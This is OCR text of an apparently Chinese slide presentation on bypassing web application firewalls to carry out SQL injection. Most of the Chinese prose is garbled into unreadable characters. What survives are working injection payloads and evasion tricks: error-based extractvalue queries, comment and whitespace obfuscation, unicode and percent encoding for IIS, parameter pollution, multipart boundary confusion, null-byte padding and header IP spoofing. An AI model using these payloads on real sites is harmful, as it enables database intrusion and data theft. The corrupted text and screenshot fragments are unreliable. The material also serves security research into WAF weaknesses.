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XE—NEZHEPEOE O, THREWAFEMSZSBNAE, FRIMETLES
AV RNIE S TR RIR SR BAFR A 134T WAF bypass.
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EHBECERK, FTiBAIBYPASS WAFSERR L2 E KA TFWAFE&ZELE
Nz F B EE B RE A/ B R4 . T ASFEEWAF R gt , BRENATRE
Free BT R DB 2 Tmr, e Bhirs

BLHERERE— D TIHENIR—H, —EEEZEMREAREZIN,
— L BIREREN, EEFEEMRARLTN. SRIMNVEBFHETX—M1H
s, MBEWAFZEEZERXLEIgSE, RINFATUR BiX LS EbypassiEWAF
To
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(p OO0 and RElgi=(E B bad request, hacke

5
o JESEERTEGRARIE 2, EILTIE rand or xor union limit , FidiEselect information_schemas
Kos
vt » e . N ——
ool (NSRRI procedure analys T
Tox

 a%'+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1) +%23

o BZAHIREOM , IrEHEEN
o—

.':';4.-_._:::—-; A

U5 Yo RRET =
AW I R AL A LB
comma as boundary, while normal parsers take the entire string. Therefore, if there is no proper 5
ATAL L "t 1t 0 matches
normalization, then the WAF will not check the parameter because it will see a file n t. However, PHFP wil e

34 bytes | 89 milis

recognize a regular parameter instead of file input and the payload will be successfully delivered




#IE FE Ebypass
| FAEIREE RS M SR eI WAF, & W EHEEmysql, sqlserver, oracle,

postgres. D i WHIMysqUIREE A5, FHAENMKXRMESR D T T IX LR
. HCENXWAFRIRHREE= e Eselect from. [IXEiEiE U select from A i)

1: select id from table 09 0OAOB OC OD A0 20 (##]])

2: select id from table /**/ /*150000%/ /*!*/ (E5#24]])

3: select id from table select-.1,select!.1,select-~.

1,select(1),select "host " ,select’ "’

4: select id from table selé@k?ﬁt\}’éféiéﬁlﬁﬂ@élect.‘%fﬁé@ﬁ_id from

COEPSE-R 2T 4> WAF 22 15 — B3 B [ /)”JﬁtZ}:, select fromz 8] REEIEEFRH1_
, BATN?
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IE B —IRIRXMERY & £ R ST
JRoEhit: http://wooyun.org/bugs/wooyun-2010-0121291

MK sqUE AMN BRI 1E, F—KREA=HENK [Iselect[][Ifrom[ iX > AR

i

1) B111Fa-z, A-Z0A K _FIEFE
2):ME2VFa-Z,A-Z0A K FE T
3):
4):

NBIRIFa-z,A-ZU K
N BARFa-7 A-7T0I TG R =

"‘1"“41 select 1,\Nfrom dual:

i

e e

o Logd URL  Mtpy/127.001 low.php Mubmite 1251 Bad =] %J0W
5 SpRURL )
Execute

[nable Post data [nakle Reterrer

Operand should contain 1 columnys) WWW.Wooyun.org
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EBIR . —IRIRMER = AR N ST
JRiEHLE: http://wooyun.org/bugs/wooyun-2010-0121291

mysql> select if((select 3,\N)> (select 1,\N),30,40)
11 SelecCt \ elect 1 N 30 0)
0
1ro in set (0.00 ec
VS se lece f((select N (select 1 N) ). 40
11 select A elect 1 N 30.40)
40
1 ro in set U0 sec
mysql>

Load URL  http//127.0.0.1/low.php?Submit=1231&aid =1 %626%26 if((select length(schema_name) \Nfrom information_schema.schemata limit 1) -kw.' ect 1\N).1.0)

Split URL

Execute

Load URL  httpy//127.0.0.1/low.php?Submit=1231&aid=1 %26%26 if((select length(schema_name) \Nfrom information_schema.schemata limét 1) <(select 1\N).1.0)
Spit URL

txecute

Enable Post data Enable Referrer
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B RN R S IR NL
R E L
aN{A R EEEAN? http://zone.wooyun.org/content/13270

st URL
fyecute

Enable Podt dats Enable Referrey

BIGINT UNSIGNED value 1 out of rangein'(2* I‘]:l.'.(‘l(‘\‘f T 1L L L NULL from (solect ‘wacan' rosult ports id" AS i ‘wecan “rosult ports faskid' AS

taskid’ 'wscan'. result_ports”inserted’ AS ‘inserted’, 'wscan', result_ports” address’ AS ‘address’, wscan', result_ports’ port’ AS ‘port’, wscan', result_ports”,'service’ AS

service’, wscan', result_ports” state” AS state’, wscan’, result_ports’. protocol” AS “protocol’, wscan', result_ports’, product’ AS ‘product’, wscan resul
WWW.WoO0yun.org
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F FAWEBRR 55 28 B 45 1 SR 3 TWAF bypass, & WHIZE &5 Hasp+IIS
aspx+lIS php+apache java+tomcatZ.

XEBRDNBE XL ERRMhttpMBITERXESH, AHXERERNT
TS HWAFX FhttpfE T A X ELIMEXN Fhttpf T EZ R4 1%, FIEERY
4 3kbypass WAF.

MTARRXE FERPMAEFERES, mBXEoZHE R EEIZ
Xt FWAF ibypass & = B 45 i -
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2B HIRFE:

1: IS +asp(%)

IR S%, TEIZIMET L1135 AskelectRURS 1%, FEWAFZ O] REfEAT L >Rk
5 RFiEskelect, {BEEiis+aspIIMERIRT R, FEATLRAVEER Fselect,

2: lIS+aspx(%u)

lisHk 55 28 X #5 XY Funicode U fE#T, BIZNFRAIXS Fselect R FRFHATT
unicodeZ®f3, FILIEBEIINTAIs%u006chu0006ect, XFhFFFEISEW R Z fa
S Aselect, EEXTWAFE, ARt EINATIEE
s%u006c%u0006ect, XFFFL =B bypassaI Al &E o

3: lIS+asp|aspx

HTTP Parameter Polution
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4: apache Ei#ZaImethod

B tewaf ¥ Fmethod 24T ™4&, BIZIGET POSTZ:, {BRapachefR5 24T
HEBEBATEE, HFA1E Amethod s HELLOZSIEIE EFRRIEHE, 2R
B, MWAFRELTTEENREZART -

I
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WEBJR %5 25 Ebypass

5: php+apache EF# HIboundary

PHPFEf#EHrmultipart datafIRS12H B2 B4, XTFboundarygdiisl, R
BTESHHENAR, 1§U§1Hﬁﬂ‘]i§§l§l’\lboundarﬁﬂ----aaaa,123456, phpfE T
HI R RIR A T ----aaaa, EEMNA B ENZEIR A R E MR IAWAF L AEATHY
Hﬂ'se, ﬁTﬁ‘é%ﬂ?ﬂXE’]E‘*&/ﬁ?—ﬁ$ thHTTﬁb/t/z\ﬁf)LBYPASSo

MOST ! LQ.I.‘h 243
Accept-Encoding: identity
th: 285
multipart/form-data; boundary=----webKitFormBoundarycMYReIX1B2H69xy9,12345
: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_7_3) Applewebkit/535.20 (xH™™L, like
ome/19.0.1036.7 Safari1/535.20

NTTP/1.1 200 OK

Date: wed, 24 1|m 2018 08:17:30 vt
server: Apache 9 axvﬁ~:tnt 5.5.12
X-Powered-By: PnF :-,t.,lg

vebKitFormBoundarycMyRe1X1B82H69xy9,12345
content-Disposition: form-data; name="aid"

10
~~~~~~ vebK1tFormBoundarycMyre | X182M69xy9

- Ny T 2.2 )
Content-Disposition: form-data; name="aid ' """“ 10.2.26. n‘”

‘,p»: toxt rrnl

WebKitFormBoundaryemyre 1 X1B2HE69xy9 ) ‘ )
Y ¢ <pre class="xdebug-var-dump’' dir="1tr '><small>string</small> <font color='#cc0000'>

vebkKitFormBoundarycMyrRe 1 X1B82H69xy9,12345-- Bk e+ :
- - 1>(lengthel ) </1>

</prexa be/bri|

Set«Cookie: arocaq flow-1t CF-l;S”S‘ SC78DODGCABESSID41227FCF2; expires=Sat, 31-u
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S EHh L -

Jﬁt/p\
1) ; ,Iﬂh‘t id=1 and 1=1
2) : MR id=1 a%nd 1=1
3) R id =1 %u0061nd 1=1
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LN REE R
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SN BIZAF655350 FFFi— X IFEI T THIZEIL:

- v N N LI Yy LAY "\" wVue

AXAL DY
arichar(ineg  FPRERCIELLY //192.168.15.130/letmetest.asp?t = 152522098/ /Su00aand(select/** /coumt(™)/** ffrom/** feventshelp) >0

wrichar(Bgdl)
arichar(8861) | K&
ar:char(Bfaa’ K Execute
ar:char(B88e2)

Split URL

Enable Post data Enable Referrer

SELECT * FROM eventshelp where eventtypeid =152522098/**/and(select/**/count(*)/**/from/** /eventshelp)>0

HTTP_Acunetix WVS_iliRi31&

%00aaf1%00e2 EFK TN E

MBI
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7 FAWAFHY B B RS IERHITE T . 7 T ESWAFRESE R 47 VIS 1T, WAF
ERITHIRME =2 [B& T EAYE 5. BIan:

1) WAF &0 gE
2) WAF Rz Hae
3) WAF B &&
4) WAF BUG

5) Hfth
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WAF #6704 g€

FEHFWAFLA R —EEZWAF (FJ8E) EIRITHIREEEE TIRSH, AIeALE] &5

WEMHRAR. —Fn—MEBI —PAEITHEHRIFENDEREIP, BWIP, JHigM,

BfmA, REl. RIEMTT EHE—1MNIABE—Fi.

ﬁﬁi%*ﬁf)”‘]’l‘i ERLEIX SR AT AN, BN {1 Apost L fE— 13X, AIEEH
—%Am, postiUX PXHIREI TGN/, WAFERZ X1 TGHIR/N

EI’\]/A?

TBATRIFECWARZI TN R FRIMERE, EH] WNIRIRE T AIARS
RN, FRARNSTRE DK ENRIEREIARAR N T

H IR AR E RN R E R payload, ®LA AJBESRIIWAFHSN T
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1) bypass Z <
F AR R E T payload, {FEEBEIRNAIFIR-
2) bypass & £ = N

—/dedecmsIRASFHBEE = INE, BFIFEKAABHE, FEEBRIEXK
FFHERIMNTREEHE, bypasso

3) bypassfI 2E=E (F BENHUI)
Ho #EEecsk Fa3Mhx AR
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WAF 53 2} £ &E

—LREFEMHIPIREAN T BEES AN RZWA P AR, TN F3F0
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WAF ZBypass

WAF FUZZ
FEHRBEARERNWARREN TFERFLIEBEEEERE, EHEC R IIWAFFEREI
FINME B E=MIENNAESEYT, —EWAFRJ gt T B ST, X
FREFFETLE, EREFRbypasss
REBEMXAAIE
1) : getigk4b
2) : headerig>k4b
3) : post urlencodeN &4
4) : post form-dataAl &4
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WAF FUZZ %4i:
iR BER: 360/ uh T 4 3F ARG AN Sed
bk

it BB -

1 AR AR M 360/ 45 B+ 3F Furlencode B 45894018, iRitTIFHIAZE, ik
ZRETRLUFAUriEREE2%2689085%, FHEAIsqUENBIHNZ B #K360M if T
Ti=%, EixbypassT.

MREEEZWEN Tpayloadi#iTHEEIEN

N BNXEBE%262&FTS, XTSRS, M360Mus R tELtZzE
X F%2618TF, SET £ F/AIbypasso
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WAF FUZZ 3:41:

miE & T2 SZIh—F7T5 T N bypass

imiEMhiE: http://wooyun.org/bugs/wooyun-2010-087545
73 R R

FERABMAIRNZEREPOSTAR THLZEMRILIE. ILEHARERNZER
#iTurlencode I H)F 7, MIXNERER, HFAILKpayloadH 7 H O0x00HEF
&, £S5 =EREFbypass, IREIFKRIZHEES LA {EMselect 1 from 2.

NG BNXBZ &R T post i 1TRERS, MBATAIRH XA ZI0X00Z f5
i RET, fFitbug, S 7T Z£MAIbypass.
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WAFH &8

WAFEIRITZ ¥ — R =EERA BB, AkEEIEIPHIILE, RBcdn
RF eI OFF. XLEIBFKEAEER, NAEWAFKNRIE.

RENH ZEipth it AR EMMNE EIREHip, XF—fbypasst~ 7T, &L
XANARNEEEIBRE, X BEIERbypass.
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nginx-lua-waf ZEf# B 2 B IR BUIPHYRS %15 F 7 X-Real- IPRULE N B B BN
R, RPEBXNFENERTUHLELTERN. HMNITUELTZIHZ PDIPKIR
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23 IR
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WAFE B8 (B3RER)

—LHEWAFEMEC BRI R B XN TE — M 2T, Efttpigaa
FHEEMITHHIR, Hik B RERE S X FWAFEE/TEZ B domain=xxx.com. MERIXN
domainf N A EMhttp EEIRENRYTE, BFEE A g 2= 1EMbypassHis

INERdomainfI A EMhostSRENAYIE, MR ZGREEEE=E1E%, seiEmbypass
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| FAWEB Rz FH U4 M SR BE T TWAF 5R 1

1) wAS[urlE %L, base64]

2) : iERAXEE#R[FlINdedecmsZEemsiFE, HITH—SHIREL,
GET, COOKIE, POST1Jl##]

3) : POSTiEk A AItTI#[urlencodeFiform-data]
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EE— IR AT, WAFRIBGIPRE S1fEweb T iR iiigsE, EHRER,
LETE R I WAF Z[EEIREHE, BUFSBMIENR. (MRINAE
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FHEBLZ, BNEHRSMTAAEEZRE.




Thank you ! >»




